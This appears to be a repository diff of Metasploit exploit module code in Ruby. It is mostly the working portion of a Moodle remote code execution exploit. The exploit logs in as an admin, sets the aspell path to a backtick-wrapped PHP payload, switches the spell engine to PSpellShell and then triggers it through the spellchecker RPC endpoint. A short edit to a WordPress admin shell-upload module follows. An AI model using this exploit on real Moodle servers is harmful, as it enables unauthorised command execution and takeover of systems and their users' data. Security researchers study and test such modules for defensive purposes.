'section' => 'tinymcespellcheckersettings',
|
||||
'action' => 'save-settings',
|
||||
'sesskey' => Regexp.last_match(1),
|
||||
'return' => '',
|
||||
's_tinymce_spellchecker_spellengine' => checker,
|
||||
's_tinymce_spellchecker_spelllanguagelist' => '+English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,German=de,Italian=it,Polish=pl,Portuguese=pt,Spanish=es,Swedish=sv' # default
|
||||
},
|
||||
'keep_cookies' => true
|
||||
})
|
||||
|
||||
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
|
||||
end
|
||||
|
||||
def check
|
||||
return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online?
|
||||
|
||||
v = moodle_version
|
||||
return CheckCode::Detected('Unable to determine moodle version') if v.nil?
|
||||
# according to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after installation
|
||||
# so maybe this is not going to get patched? Assuming 3.0.0+
|
||||
if Rex::Version.new(v) > Rex::Version.new('3.0.0')
|
||||
return CheckCode::Appears("Exploitable Moodle version #{v} detected")
|
||||
end
|
||||
|
||||
CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Authenticating as user: #{datastore['USERNAME']}")
|
||||
cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty?
|
||||
cookies.each do |cookie|
|
||||
cookie_jar.add(cookie)
|
||||
end
|
||||
print_status('Updating aspell path')
|
||||
# Site administration, Server, Server, System paths
|
||||
change_aspellpath("`php -r \"#{payload.encoded}\" &`")
|
||||
|
||||
print_status('Changing spell engine to PSpellShell')
|
||||
set_spellchecker('PSpellShell')
|
||||
# Administration, Plugins, Text editors, TinyMCE HTML editor, Legacy Spell Checker
|
||||
spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'
|
||||
|
||||
print_status('Triggering payload')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'lib', 'editor', 'tinymce', 'plugins', 'spellchecker', 'rpc.php'),
|
||||
'data' => spellcheck,
|
||||
'ctype' => 'application/json',
|
||||
'keep_cookies' => true
|
||||
})
|
||||
|
||||
fail_with(Failure::Unreachable, 'Error triggering payload') if res
|
||||
end
|
||||
|
||||
# prefer cleanup over on_session since we may have changed things, regardless of successful exploit
|
||||
def cleanup
|
||||
print_status('Sleeping 5 seconds before cleanup')
|
||||
Rex.sleep(5)
|
||||
print_status("Authenticating as user: #{datastore['USERNAME']}")
|
||||
cookie_jar.clear # clear cookies to prevent timeouts
|
||||
cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
if cookies.nil? || cookies.empty?
|
||||
print_bad('Failed login during cleanup')
|
||||
else
|
||||
cookies.each do |cookie|
|
||||
cookie_jar.add(cookie)
|
||||
end
|
||||
print_status('Removing RCE from settings')
|
||||
change_aspellpath
|
||||
set_spellchecker
|
||||
end
|
||||
super
|
||||
end
|
||||
end
|
||||
File diff suppressed because one or more lines are too long
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'Name' => 'WordPress Admin Shell Upload',
|
||||
'Description' => %q{
|
||||
This module will generate a plugin, pack the payload into it
|
||||
and upload it to a server running WordPress providing valid
|
||||
and upload it to a server running WordPress provided valid
|
||||
admin credentials are used.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
|
||||
Reference in New Issue
Block a user